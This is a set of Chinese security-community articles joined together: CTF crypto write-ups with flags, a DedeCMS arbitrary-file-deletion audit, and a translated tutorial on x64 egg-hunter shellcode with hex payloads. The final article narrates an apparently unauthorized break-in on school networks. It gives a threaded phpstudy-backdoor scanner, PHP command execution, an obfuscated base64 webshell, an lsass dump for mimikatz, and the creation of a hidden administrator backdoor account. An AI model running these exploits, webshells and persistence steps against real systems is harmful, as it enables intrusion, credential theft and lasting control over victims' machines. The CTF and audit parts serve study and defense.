1:9070h 64 02 6C 04 6D 05 5A 05 01 00 64 03 65 03 6A 06
1:9080h 76 00 73 3E 4A 00 64 04 83 01 82 01 47 00 64 05
1:9090h 64 06 84 00 64 06 65 07 83 03 5A 08 65 09 64 07
4.提取出pyc并反编译：
$ dd of=tmp1.pyc if=memdump skip=1 bs=102432
9+1 records in
9+1 records out
946144 bytes (946 kB, 924 KiB) copied, 0.001197 s, 790 MB/s
$ uncompyle6.exe tmp1.pyc > tmp.py
5.查看代码发现它只有加密部分，且存在一个假的加密密钥：
def main():
secret_key = b'O_O.... -_-...' # 这是错误的密钥
iv = weak_rand_str(32)
sin = SinCipher(secret_key, iv)
plain_text = input('')
plain_bytes = plain_text.encode('utf8')
cipher_bytes = sin.encrypt(plain_bytes)
print(json.dumps({'iv':iv.hex(), 'cipher':cipher_bytes.hex()}))
if __name__ == '__main__':
main()
现在已知加密算法/IV和密文，需要找出加密的密钥再写出解密算法。
6.经过分析加密算法，加密脚本只有S盒，需要先算出逆S盒：
def r_sbox_gen(sbox: list):
r_sbox = list(range(0, 256))
for i in range(0, 256):
raw = (sbox[i] & 0xf0) >> 4
rol = sbox[i] & 0xf
r_sbox[(raw * 16) + rol] = i
return r_sbox
另外它会通过输入的密钥生成轮密钥，轮密钥间存在相互关系：
def gen_round_key(cls, mk: tuple):
rk0 = [(cls.FK[i] ^ mk[i]) & 0xffffffff for i in range(0, 4)]
rk = rk0 * cls.ROUND_COUNT
for i in range(1, cls.ROUND_COUNT):
for j in range(0, 4):
if j == 0:
rk[i * 4 + j] = cls.sbox_trans(cls.ROUND_KEY[i - 1] ^ rk[i * 4 + j - 4]) ^ rk[i * 4 + j - 1]
else:
rk[i * 4 + j] = rk[i * 4 + j - 4] ^ rk[i * 4 + j - 1]
return rk
根据轮密钥规律，每一个密钥是它的前一位与前4位异或而得，每轮的第一位还和轮数相关，因此可通过此规律在内存中搜寻密钥，且只需要知道连续的5位就能恢复出原始密钥，算法如下：
def crack_rk(data):
def find_key_first(x: list):
# 先定位到一个符合规则的位置
for i in range(len(x) - 1, 3, -1):
if x[i] == x[i - 4] ^ x[i - 1]:
x = x[:i + 1]
return x
def find_round(x: list):
"""获取一轮的数据和当前轮数"""
for i in range(len(x) - 1, 3, -1):
if x[i] == x[i - 4] ^ x[i - 1]:
continue
for j in range(SinCipher.ROUND_COUNT - 1):
if x[i - 4] == SinCipher.rsbox_trans(x[i - 1] ^ x[i]) ^ SinCipher.ROUND_KEY[j]:
# 找到了它，辣么
round = j
x = x[i - 4:i]
return round, x
def recovery_key(round_key: list[int], round):
"""从一个完整的轮密钥恢复出原始密钥"""
assert len(round_key) == 4
round += 1 # 第0轮开始
rk = round * 4 * [0] + round_key
for i in range(round - 1, 0, -1):
for j in range(3, -1, -1):
rk[i * 4 + j] = (rk[(i + 1) * 4 + j] ^ rk[(i + 1) * 4 + j - 1]) & 0xffffffff
if j == 0:
rk[i * 4 + j] = (SinCipher.rsbox_trans(rk[i * 4 + j]) ^ SinCipher.ROUND_KEY[i - 1]) & 0xffffffff
rk0 = tuple(map(lambda x, y: (x ^ y) & 0xffffffff, rk[4:8], SinCipher.FK))
return SinCipher.sin_i2b(rk0)
x = b2i(data)
x = find_key_first(x)
x = find_round(x)
return recovery_key(x[1], x[0])
#> e08f08b75ee3ccb560f25920a1af79fc
7.恢复出密钥后，可通过加密算法写出解密算法，解密数据。
def decrypt(data):
secret_key = crack_rk(data)
cipher = '''{"iv": "8e9313ce03257990eb5c019f97afe2aa4ceb27ac327f4493f300bffe3fb94dc8", "cipher": "c732f791dde0a9e7819da08462e9e767b43df88b8e450d2d63e076fd0f32fe6a51e7fbcc220f4c7b30"}'''
cipher = json.loads(cipher)
iv = bytes.fromhex(cipher['iv'])
cipher = bytes.fromhex(cipher['cipher'])
sin = SinCipher(secret_key, iv)
plain = sin.decrypt(cipher)
print(plain.decode('utf'))
#> e08f08b75ee3ccb560f25920a1af79fc
#> SangFor{Rexz-zluMoHtlhyC3t7E8jB7psZWIKCp}
### GeGe
这一题实质上就是一道求解SVP的题目。
**前置知识：**
**空间（Span）**
给定一组线性无关的基向量v1, v2, ..., vn，那么这些基向量的所有线性组合。
所形成的集合，叫做这组基向量所张成的空间。
例如，在二维平面中，选两个单位正交向量作为基向量。
由这两组基向量的所有可能的线性组合。
张成的空间为整个二维平面。二维平面上的任何一点，都可以由这两组基底的一个线性组合来表示。
**格（Lattice）**
格的定义与空间类似，给定一组线性无关的基向量v1, v2, ..., vn，那么这些基向量的所有 **整系数** 线性组合。
所形成的集合，叫做这组基向量所张成的格。（系数不是任何实数，而是任何整数）不同的基底，可能会张成不同的格。对原基底进行 **整系数**
线性转换得到的新的基底，张成的格不变。
格相关的问题中，有两个知名的难题：
SVP（最短向量问题，Shortest Vector
Problem）：给定格和基向量，找到格中的一个长度最短的非零向量。CVP（最近向量问题，Closest Vector
Problem）：给定格和基向量，以及一个不在格上的目标向量，找到格中一个距离目标向量最近的格向量。在广义上的这两大难题已经被证明是NP难问题。
本题是求解SVP（最短向量问题，Shortest Vector Problem）的题目。
格基规约算法中的LLL算法，可以求解2维的SVP问题。
**解题思路：**
已知2个关系式和p、h、c；求m、f、g。目前无法确定随机数r的值，想办法化简。
由于未知量较多，先假设f、g已知。对上面一式带入二式。
两边同乘f。
得到：
r 为1024 bit，g 为768 bit，m 为flag字符串转成数字，一个字符8bit，一般来说flag不会太长，所以基本上是小于1000 bit，f
为1024 bit，p 为3072 bit。
右边式子的值小于p，所以模p，得到的是：
则令：
即：
通过变换以及参数之间的大小关系，在同余式里面得出了一个等式。
这样可以将随机数r约掉。
此时，r被化简，只需要求出f、g，就可以的到明文m的值：
注：在模 g下运算，g是一个768 bit的强素数，这就保证了，f是个1024 bit的数，在模 g下，f' = f - k*g的逆元必定存在。
现在只要求f、g，就能解出m，求f、g的方法，此式子，看做格来求解SVP问题。
两边同乘f。
可以构造一个由下面这个矩阵M中的两个行向量(1,h), (0,p)所张成的格：
两边同乘f。
下面我们来证明向量(f, g)是在这个格上的。
**证明**
将同余式，
化为等式，
恒等变换，
可以发现，
向量 (f,g) 可以由基向量M的某种 **整系数** 线性组合 (f, -u) 来表示，因此向量 (f,g) 就在这个格上。
已知h, p, f, g的大小。
h：2000多bit p：3072bit f：1024 bit g：768 bit
相对于两个基底向量 (1, h), (0, p) 来说，向量 (f, g) 的长度要小得多得多，根据Gaussian
heurstic可知，在这个格中最短向量的长度大概在sqrt(2^3072)约等于2^1536左右。因此，很大概率上，这个(f,
g)就是这个格的最短向量。本题是求解SVP（最短向量问题，Shortest Vector Problem）的题目。
格基规约算法中的LLL算法，可以求解2维的SVP问题。
SageMath有内置的LLL算法实现。
# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
# Solve SVP.
shortest_vector = m.LLL()[0]
f, g = shortest_vector
print(f, g)
if f < 0:
f = -f
if g < 0:
g = -g
最短向量坐标点有可能为负，所以记得取正，得到f、g的值，带入此式，可求得明文m。
# Decrypt.
a = f * c % p % g
m = a * inverse_mod(f, g) * inverse_mod(f, g) % g
print(hex(m))
**完整的解题sage代码：**
<https://sagecell.sagemath.org/>，有在线的sagemath的编辑器。
# sage
h = 741685980036657124703570824117837943284881194590239567891710666488343092021421903134091659952188649247812611838027447639769126034113747591994366775687375938967689804725196805491414508727437312992768010481834419757670471940075261194879453423923219441257614756265217894613370817896974099404872094147543899352059390091684223795142546563465495330437517764151319634429847222377879702032311285611223439501739927480752413359628416456028279899789972187563618018323679710545652662164125111147585075432716751781364422911569092775368885926180663208641709638464929946478449144257415280995569405660352909393579251948867427394616986700595831562669657998566133390819818439212188072311169414636981074849512957738865991057231262600908765213165983659796926041306763839123708343607947260925756758958195312529064568036435600692876965244213968886099767921881431898610126403483239033503773049306021547301942115027730890839384097247580833293474121
p = 5050233608529261815459421720709753276268013465317000771847761427957603528040869563265512088502404346554651894767140649951393710149478346487842226815680708858366844907626693398878139547241241604618724512692518021411749264259840624777936075900186833546340656774885080077167415236481738944038259649234453620143653070795178807131460601258060138179420716641430995833287189245805143750618302652642415486774848066609117273672921413983390999591473162031857282360905260202304823054997752113434845072557695790439790834994452905929352930982374841221663164102442465389946495692126891880858411108590904768261764284777490002833011814702755850977198518393079695381425590965457831372828368997585616447655967985166143972176378983702291578885987130611662291398925420497222946016835570309006428390337561970913212519826593343069311323267590159714748533145359585126694351887284247992873298838977471763682734366220545390283355331333821253454043331
c = 4963446802809571857260968033018406539276364616675148117021060237971516477644729757887366370184520931673134679432221828418088740269678401592795884258839004421043480925685487118640904029869799288796776841100802058925924158488108687288473325967043012138220004040832342591268257566027836494855405293369721831070578120739130911781413843466700339507137012851728602473355307593717499171158125669083422816758550318994201088990498569083885253075290244364705716071465195000806835161297308685979961079993768940640000007962668547794453962322970945764813405945636433263033585002312448411399111242467826146156637847360854845950660733971967028085351610861477485679546778216767725324875436507647728423954456510223005524703874413166915026280934452826254607852008868036423390048222853332874148121355877236114661021786904667122523713764404195998302086834272099572649032757357798879435992821026120121023839152206091356383515016661233619651957370
# Construct lattice.
v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
# Solve SVP.
shortest_vector = m.LLL()[0]
f, g = shortest_vector
if f < 0:
f = -f
if g < 0:
g = -g
print(hex(f), hex(g))
# Decrypt.
a = f * c % p % g
m = a * inverse_mod(f, g) * inverse_mod(f, g) % g
print(hex(m))
运行，可得flag的十六进制值。
转换成明文得flag。
SangFor{pfa2s1f65ads4fwev1s2d3v1cxxavqes}
* * * | 社区文章 |
### 0x01 前言
* * *
> 首先本地搭建环境，我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。
### 0x02 CMS简介
* * *
> 感觉都知道Dede，就不写了。只是为了一个格式好看（轻微强迫症患者）。
### 0x03 正文
* * *
漏洞所在文件：`/member/album_add.php(在用户中心内)`
漏洞文件代码：(只贴上相关代码)
include(DEDEMEMBER.'/inc/archives_check.php');
$ddisfirst=1;
//处理并保存所指定的图片从网上复制
if($formhtml==1)
{
$imagebody = stripslashes($imagebody);
$imgurls .= GetCurContentAlbum($imagebody,$copysource,$litpicname);
if($ddisfirst==1 && $litpic=='' && !empty($litpicname))
{
$litpic = $litpicname;
$hasone = true;
}
}
/*中间其它不相关的处理流程省略。*/
$inQuery = "INSERT INTO `#@__archives`(id,typeid,sortrank,flag,ismake,channel,arcrank,click,money,title,shorttitle,
color,writer,source,litpic,pubdate,senddate,mid,description,keywords,mtype)
VALUES ('$arcID','$typeid','$sortrank','$flag','$ismake','$channelid','$arcrank','0','$money','$title','$shorttitle',
'$color','$writer','$source','$litpic','$pubdate','$senddate','$mid','$description','$keywords','$mtypesid'); ";
if(!$dsql->ExecuteNoneQuery($inQuery))
{
$gerr = $dsql->GetError();
$dsql->ExecuteNoneQuery("DELETE FROM `#@__arctiny` WHERE id='$arcID' ");
ShowMsg("把数据保存到数据库主表 `#@__archives` 时出错，请联系管理员。","javascript:;");
exit();
}
首先看到这条插入的 `SQL语句` 关注到 `litpic` 这个字段和 `$litpic`
这个变量，由于之前看其它功能模块的代码的时候发现这个变量值是涉及到删除文件操作的。因为在删除一个文章或者图片集的时候，会将 `litpic`
这个字段上面的路径文件删除。这个字段存储的是程序所上传的图片路径。用来删除文章或者其它的时候进行删除文件的。
之前看其它功能的时候，这个任意文件删除漏洞是不存在的，因为最上面 包含了 `/inc/archives_check.php` 这个文件，这个文件的最下方是对
`$litpic` 这个变量进行了初始化。因此没办法覆盖这个变量值。所以没办法对这个变量值进行控制，就没办法利用了。可以看看这个文件相关的代码：
//处理上传的缩略图
$litpic = MemberUploads('litpic', '', $cfg_ml->M_ID, 'image', '', $cfg_ddimg_width, $cfg_ddimg_height, FALSE);
if($litpic!='') SaveUploadInfo($title,$litpic,1);
可以看到是直接初始化了值的。我们这个漏洞也是利用的 `$litpic` 变量与数据库的 `litpc`
字段，按照正常来说我们是没办法覆盖，但是我们可以看到上边代码11行：`$litpic = $litpicname;` 可以看到这里又重新进行了一次赋值。
由于包含的`/inc/archives_check.php` 这个文件，是在 `$litpic = $litpicname;`
这行代码的上方，所以最上面初始化好的变量值到了这一行就会被 `$litpicname` 这个变量值给覆盖，但是由于 `$litpicname`
这个变量并没有进行初始化操作，所以我们就可以利用变量覆盖，直接覆盖 `$litpicname` 这个变量，然后在赋值给 `$litpic`
，就造成了这个漏洞了。
首先我们可以看到，他是在一个 `if` 判断里面，我们要进入到判断，就必须满足 `$formhtml = 1` 但是因为 `$formhtml`
这个变量也没有进行初始化，所以我们一样可以对这个变量进行控制覆盖。 之后只要满足 `litpic` 为空 以及 `litpicname`
有值就可以重新去赋值 `litpic`的值了。
接下来看到删除代码：
所在文件：`/member/archives_do.php`
else if($dopost=="delArc")
{
/*其它代码省略*/
//删除文档
if($row['issystem']!=-1) $rs = DelArc($aid);
else $rs = DelArcSg($aid);
}
可以看到这里判断 `issystem` 是否不等于 `-1` 不等于的话就调用 `DelArc` 这个函数，否则调用 `DelArcSg`
这个函数，由于数据库内默认 `issystem` 值就为 `1` 因此我们定位 `DelArc` 这个函数。
所在文件：`/member/inc/inc_batchup.php`
$licp = $dsql->GetOne("SELECT litpic FROM `#@__archives` WHERE id = '$aid'");
if($licp['litpic'] != "")
{
$litpic = DEDEROOT.$licp['litpic'];
if(file_exists($litpic) && !is_dir($litpic))
{
@unlink($litpic);
}
}
可以看到8行代码使用 `unlink` 函数删除 `$litpic`
可以看到 `$litpic` 是 `DEDEROOT` 拼接上数据库中查询出来的 `litpic`
字段（就是我们插入的需要删除的文件路径），`DEDEROOT` 常量是定义的从系统根目录到当前织梦的程序根目录。所以我们得到信息，插入的 `litpic`
字段文件路径，以程序根目录为准即可，也就是不用跨目录。比如：`/robots.txt` 即可。
来验证下
首先在会员中心，图片集中，新建图片集：
添加成功后，来看下数据库中是否插入了对应的数据。
可以看到是成功插入了。
然后我们删除对应图片集
文件成功删除，因此我们只要插入对应的文件路径，即可删除对应文件。
### 0x04 其它任意文件删除点
第一处漏洞所在文件：/member/archives_do.php
//删除缩略图
if(trim($row['litpic'])!='' && preg_match("#^".$cfg_user_dir."/{$cfg_ml->M_ID}#", $row['litpic']))
{
$dsql->ExecuteNoneQuery("DELETE FROM `#@__uploads` WHERE url LIKE '{$row['litpic']}' AND mid='{$cfg_ml->M_ID}' ");
@unlink($cfg_basedir.$row['litpic']);
}
可以看到这里，首先是判断 `litpic` 不为空 以及 正则匹配 是否是在某个目录下面（之前有篇文章有），
之后就进入到了真区间。执行了删除操作（因为是跨目录了。所以依然能导致任意文件删除）。 | 社区文章 |
# 【技术分享】Egg Hunting：一个非常短的shellcode
|
##### 译文声明
本文是翻译文章，文章来源：pentesterslife.blog
原文地址：<https://pentesterslife.blog/2017/11/24/x64-egg-hunting-in-linux-systems/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
****
目前，关于Egg Hunting的文章非常少，更不用说x64的，我们在exploit-db和shell-storm网站上只能看到一些提出的理论，但并没有进行详尽的讲解与测试。通过一段时间的研究，我主要基于Skape的《Safely Searching
Process Virtual Address
Space》研究成果，再辅以内存模型、虚拟地址空间等概念，写了这篇文章，希望本文能以相对简单的方式来向大家展现这种方法。
Egg Hunter可以翻译为“鸡蛋猎人”，主要是用于可用缓冲区过短，无法注入全部Shellcode的情况。 **Egg
hunter是一个非常短的Shellcode，只有一个作用，就是在内存中的其他地方搜索到真正的Shellcode（也就是猎人所寻找的鸡蛋）并执行。**
**在我们利用缓冲区溢出漏洞时，通常要受到可用缓冲区大小的限制，当没有足够空间可以注入Shellcode时，就需要用到Egg Hunting这种方式。**
**搜索内存**
****
这一块，涉及到很多操作系统及CPU结构的相关知识，由于篇幅所限，我们将只讨论代码相关的部分。从Egg
Hunting的角度来看，我们此时最重要的是需要知道内存是如何提供给进程的，这也就是所说的虚拟地址空间（VAS）。通常情况下，64位的VAS具有以下结构：
如果你想深入了解这方面的技术细节，请参考英特尔用户手册的第3.3节：
[https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf](https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf)
出于性能方面的考虑，当前地址空间实际上只使用了64位中的48位，在我们的日常应用中，这已经足够了。
**第48位（位置47）会扩展到左边剩余的位，因此就创建了一系列未使用的位置，也就是上图中的“Canonical Hole”。**
这对我们来说是件好事，因为我们就不必再从位置0（内存中的第一个字节，VAS）到0xffffffffffffffff（64位全1）中间寻找，而只要在用户空间中搜索Egg即可。那么下一个问题就是，我们需要在全部用户空间中搜索吗？有没有更快的方法？
用户空间（User Space，上图的绿色部分）的内存结构如下所示：
0x00007fffffffffff
User stack
|
v
Memory mapped region for shared libraries or anything else
^
|
Heap
Uninitialised data (.bss)
Initialised data (.data)
Program text (.text)
0x0000000000000000
我们发现，它是由具有不同访问权限的region/section组成。让我们来看看下面这个例子。
我写了如下的代码：
在编译（# nasm -f elf64 test.nasm -o test.o && ld -o test
test.o）并执行后，它将会挂起在read系统调用，保持运行，直到我将其附加到GDB之中。
如上图所示，我获取到它的PID，并且执行“cat proc/<PID>/maps”命令以得到它的section。
其实，我们还可以通过其他方式（GDB中的“pmap”和“info proc mappings”）来得到section列表，但是只有“cat
proc/…”这种方式能显示出其具有的权限（读/写/执行/私有/共享）。
由于它是一个非常小的应用，也没有外部库，所以仅有几个section，并且全部都是可读的。其实，我们可以在应用中进行一次glibc调用（例如printf、scanf、exit），并将其在gcc之中编译，而不是ld，借此展示一个不可读section的例子（比如.so文件）。但为了简单起见，我选择的是一个由于写入到不可读section而触发的异常，我们将以此为例进行研究。
现在，我们已经使用GDB将其附加到了PID，并将RSP设定为Section VDSO范围内的某个值，尝试向其中写入。
这次写入，会产生一个段错误（Segmentation
Fault）。由于其没有相应的权限，所以进程尝试访问内存中的位置（包括读、写、执行）也就会失败，这也就是我们为什么不能简单地遍历整个用户空间的原因。
**这个中断信号（SIGSEGV）将会破坏我们的Egg Hunter，让它失去原有的作用。**
然而，有一些Egg Hunter正是利用了这一特点，我会在后续进行讲解。
最后一点需要说明的是，每一个section/region都是由多个页组成的，这些页是连续的固定长度的内存块。内存就是在这些页单元中分配的，这一点对我们来说很重要。如果我们无法访问页中的内存地址，那么便没有必要再在同一页中继续测试后面的位置，因为它们要不然未被分配，要不然就是具有着相同的权限。了解这一点之后，就可以改进我们的搜索算法，使之效率更高。
如果你仔细观察列出了PID和Section的那张截图，你会发现 **开始地址和结束地址（16进制）都是4096的倍数**
，因为较低的那12位始终都为0。即使应用的代码小于4096字节，它所处的section大小仍然会是4096字节（从0x00400000到0x00401000）。
但是，我们又怎么确定页的大小是4096字节呢？
**Egg Hunter的第一次尝试**
****
通常来说，我们考虑到SIGSEGV其实就是一个中断信号，因此可以通过设置一个中断处理器来解决这一问题。但是很显然，它的代码较长，并且会破坏我们Egg
Hunter的作用。Skape在研究过程中尝试了这一方法，并得出了与我们相同的结论。
因此，我们一定要搜索内存，但是我们需要先解决SIGSEGV的问题。我们可以借助系统调用，假如不具有对指定内存位置的访问权限，就会得到一个明确的返回结果（EFAULT
= -14 = 0xfffffffffffffff2）。
**不同于Skape使用的__NR_access和__NR_rt_sigaction，我尝试使用另外一个__NR_write调用。**
这一系统调用是用于将文本打印到屏幕上，并且它需要一个缓冲区作为其第二个参数（RSI）。我写了下面的测试代码：
在测试过程中，对于地址0x1000，它返回了EFAULT（0xfffffffffffffff2），而这正是我所希望的。
这让我们希望大增，然而这种美好的感觉并没有停留太久，直到我写了Egg
Hunter的代码，并讲第一个地址定位在真正有效载荷所在的section时，它并没有按照我想象的那样工作。具体来说，我的思路是尝试获取4个字节，并与Egg进行比较。
**但是，当它本应该返回EFAULT并中断（SIGSEGV）的时候，并没有这样做。** 在这个时候，我意识到，这种全新的Egg
Hunting方式可能并不是有效的，因此我后退了一步，开始考虑其他方法。
**Egg Hunter的最终尝试**
****
我决定使用Skape曾用过的access调用，因为这是最为稳妥的一种方式。此外，我还选择使用4字节的Egg：0xbeefbeef。我们知道，Egg越大，其已经在VAS中存在的可能性就越小。所以我觉得，如果说在32位系统中4字节可以较好的使用，那么在我们64位的场景中，它应该也是不错的。
然而，因为我没有复制它的大小， **由于Egg是存在于其自己的代码之中，Hunter还是有非常高的可能性会检测到其自身。**
为避免这一情况，我将EAX（RAX中最低的32位）寄存器设置为不同的值，并确保它有正确的增量，如下图的第19、20行：
关于每个结构的详情，在这里就不做赘述了，大家请参考我此前所写的两篇文章：
[https://pentesterslife.blog/2017/11/01/x86_64-tcp-bind-shellcode-with-basic-authentication-on-linux-systems/](https://pentesterslife.blog/2017/11/01/x86_64-tcp-bind-shellcode-with-basic-authentication-on-linux-systems/)
[https://pentesterslife.blog/2017/11/13/x86_64-reverse-tcp-bind-shell-with-basic-authentication-on-linux-systems/](https://pentesterslife.blog/2017/11/13/x86_64-reverse-tcp-bind-shell-with-basic-authentication-on-linux-systems/)
在最开始（第4行），我将RSI置为0，RSI也就是access系统调用（F_OK=0）的第二个参数。同样，我们也将检查我们是否有可读权限的RDI置为0。请注意，实际上第一个可寻址的内存位置并不是0x00，但是它非常小，并且很接近于0。我们可以忽略到达它的延迟，否则我们就必须添加一段代码以增加这个过程。
其中的next_page标签包含将地址递增到下一个4096的倍数的代码，也就是内存中的下一页。
对于next_4_bytes标签，我们基本上是通过access系统调用来验证RDI中内存地址的可访问性，如果可访问，我们就获取其中的4个字节并与我们的Egg进行比较。
在编译之后：
# nasm -felf64 egghunter.nasm -o egghunter.o && ld egghunter.o -o egghunter
提取十六进制代码：
# for i in `objdump -d egghunter | tr ‘t’ ‘ ‘ | tr ‘ ‘ ‘n’ | egrep ‘^[0-9a-f]{2}$’ ` ; do echo -n “x$i” ; done
x48x31xf6x56x5fx66x81xcfxffx0fx48xffxc7x6ax15x58x0fx05x3cxf2x74xefxb8xbdxefxbexefxfexc0xafx75xedxffxe7
将其添加到shellcode.c测试环境（使用简单的execve作为Payload）：
#include <stdio.h>
#include <string.h>
#define EGG “xBExEFxBExEF”
unsigned char hunter[] =
“x48x31xf6x56x5fx66x81xcfxffx0fx48xffxc7x6ax15x58x0fx05x3cxf2x74xefxb8xbdxefxbexefxfexc0xafx75xedxffxe7”;
unsigned char payload[] =
EGG
“x6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x54x5fx52x54x5ax57x54x5ex0fx05”;
int main(void) {
printf(“Egg hunter’s size (bytes): %lun”, strlen(hunter));
printf(“Payload’s size (bytes): %lun”, strlen(payload));
int (*ret)() = (int(*)())hunter;
ret();
}
并进行编译：
# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
最后成功运行：
在这个例子中，由于我使用了execve作为Payload，所以实际的Payload是比Egg
Hunter小的，就显得非常奇怪。然而，这个例子并不能在远程攻击中为我们带来价值。 **在实际场景中，我们会使用类似于主动连接（Bind
Shell）或者反向TCP连接（Reverse TCP Shell）的方式。**
**
**
**进一步提升效率**
现在看起来已经大功告成了，但实际上还差一些。我们还希望能够更快地找到Payload，就像下面这个截图一样：
**简单来说，我将GDB附加到运行的进程上（Attach 7660），使用info proc
mappings命令检查代码的第一个section（第二和第三个是.data和.bss），将RDI寄存器设定为该值（set $RDI =
…），并使用continue (c)命令让Hunter继续寻找。**
大家可能会问，我为什么要这样进行。原因在于，即使我们已经做过了优化，但在64位结构中查找VAS中的用户空间还是需要耗费超级长的时间。我使用酷睿i7的笔记本运行了一整晚，都没有得到任何结果。前面说的方法可能在32位的VAS中非常有效，但一定不是64位的一个好选择。
并且，由于内存随机化（ASLR保护），我们并没有办法预测到代码第一个section的起始位置在哪里。
我多次运行了Shellcode应用，这些都是其不同的第一个代码section的地址：
这也就是为什么我们看到几乎所有的x64 Egg
Hunter，都是从RDX的内存地址开始搜索的。因为，在shellcode.c的测试代码中，RDX是内存位置的寄存器，用于存储内存中Egg
Hunter的代码。所以从这个位置开始，可以节省大量的搜索时间：
**选择RDX作为开始，不仅能让搜索变得更快（几乎是瞬间得到结果），并且还能让Egg Hunter的代码变得更短。**
因为在内存的这一部分，我们肯定有读的权限，所以也就无需再进行access系统调用来阻止SIGSEGV中断了。
这就是为什么一些代码会比此文中的例子短很多。
**因为它们为了保证搜索速度，做出了一些假设，并减少了搜索的范围，同时还减少了搜索过程的鲁棒性（Robustness）。**
鲁棒性在这里具体而言，是由于我们在实际应用中，一开始并不知道RDX值的含义，并且会有非常高的几率会运行到未分配的内存位置，或是没有读取权限的页。
总之，我们还是需要依靠一些耐心和运气，才能在x64的系统场景中真正实现这一方法。
**结语**
****
本文所使用到的所有源代码，均可以在我的Gitlab上找到：
[https://gitlab.com/0x4ndr3/SLAE64_Assignments](https://gitlab.com/0x4ndr3/SLAE64_Assignments)
感谢Vivek Ramachandran和Pentester Academy团队，他们使我学到了很多有趣的内容。 | 社区文章 |
前段时间 phpstudy 被爆出存在后门，想到学校里的许多站都是用 phpstudy 做的环境，于是写了个脚本扫描了下，发现真的有中招的
## phpstudy 后门扫描
写了个简单的脚本
import requests
import threading
# f = open("ip.txt",'w')
def test(ip):
url = "http://{}:80/index.php".format(ip)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", "Accept-Charset": "ZWNobyAiZGFvbGd0cyI7", "Accept-Encoding": "gzip,deflate", "Connection": "close"}
try:
r = requests.get(url, headers=headers)
if "daolgts" in r.content:
# f.write(ip+"\n")
print "[+] found\t"+ip
# else:
# print "[-] nope\t"+ip
except:
pass
# print "[-] nope\t"+ip
thread=[]
for _ in range(1,256):
print "[-] ip :"+_+"next..."
for i in range(1,256):
ip = "192.168."+str(_)+"."+str(i)
t=threading.Thread(target=test,args=(ip,))
thread.append(t)
t.start()
for x in thread:
t.join()
最后只有一个 ip 能够利用
## getshell
根据 payload 可以执行任意的 php 代码
先 `getcwd()` 看下位置
var_dump(getcwd());
dmFyX2R1bXAoZ2V0Y3dkKCkpOw==
string(12) "C:\phpStudy2"
var_dump(scandir("C:\phpStudy2"));
var_dump(scandir("C:\phpStudy2\PHPTutorial"));
var_dump(scandir("C:\phpStudy2\PHPTutorial\WWW"));
找到网站目录 `C:\phpStudy2\PHPTutorial\WWW`
然后 `file_put_contents` 写个马
file_put_contents("C:\phpStudy2\PHPTutorial\WWW",base64_decode("PD9waHAgJGRHcWE9Y3JlYXRlX2Z1bmN0aW9uKGNocig0OTUtNDU5KS5iYXNlNjRfZGVjb2RlKCdjdz09JykuY2hyKDA0MTUtMDIzNikuc3RyX3JvdDEzKCd6JykuY2hyKDUyNzIyLzUyMiksc3RyX3JvdDEzKCdyJykuYmFzZTY0X2RlY29kZSgnZGc9PScpLmNocig5OTktOTAyKS5jaHIoMHhjNzIwLzB4MWQ4KS5iYXNlNjRfZGVjb2RlKCdLQT09JykuY2hyKDAxMDMzLTA3NjcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5jaHIoMHgzMWMtMHgyYWQpLmJhc2U2NF9kZWNvZGUoJ2JRPT0nKS5jaHIoNDUxNDcvNDQ3KS5jaHIoMHg5NjExLzB4M2E5KS5iYXNlNjRfZGVjb2RlKCdPdz09JykpOyRkR3FhKGJhc2U2NF9kZWNvZGUoJ05UTXlNJy4nVE16TzAnLidCbGRrRicuJ3NLQ1JmJy4nJy5jaHIoODI2MjAvOTcyKS5zdHJfcm90MTMoJ1InKS5jaHIoMHhkNi0weDlkKS5zdHJfcm90MTMoJ0cnKS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDB4MmE0LTB4MjVlKS5zdHJfcm90MTMoJ2cnKS5iYXNlNjRfZGVjb2RlKCdVUT09JykuY2hyKDA0NTE0MC8wMzQwKS5jaHIoMHg0ZjZmLzB4MTlmKS4nJy4ncERTSEInLidYVUYwcCcuJ096RTFPJy4nVFl6T1QnLidrNycuJycpKTs/Pg=="));
这里使用了蚁剑的插件生成shell，配合蚁剑连接使用
成功连接
## 继续搞
emmm，直接就是 administrator 了，也没有内网环境，后来发现是一台虚拟机，枯燥。。
看下端口
发现开启了 `3306` 和 `9833`，`3306` 是 mysql ，这个 `9833` 应该就是修改了的 `3389` 的端口
mysql 的密码在 `config.php` 中能找到，而且是 root 用户
使用蚁剑连接，在数据库中发现网站后台的管理员密码
然后目标转向 `9983`
kali 下使用 rdesktop 有问题
windows 里 mstsc.exe 可以正常连接
然后抓下密码，先传个 `procdump64.exe`，执行
procdump64.exe -accepteula -ma lsass.exe 1.dmp
得到 `1.dmp` ，使用 `mimikatz.exe` 读
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
emmm，不知道为什么抓不到密码，也尝试了传 `mimikatz.exe` 直接读，同样失败
既然已经拿到了 administrator 权限，直接添加一个后门用户吧
net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add
使用该账号密码，成功登录
用户名后添加 `$` 在 cmd 里使用 `net user` 查看时是可以隐藏的，但在图形界面下还是会显示
接下来操作注册表，使这个账户在图形界面中也不显示
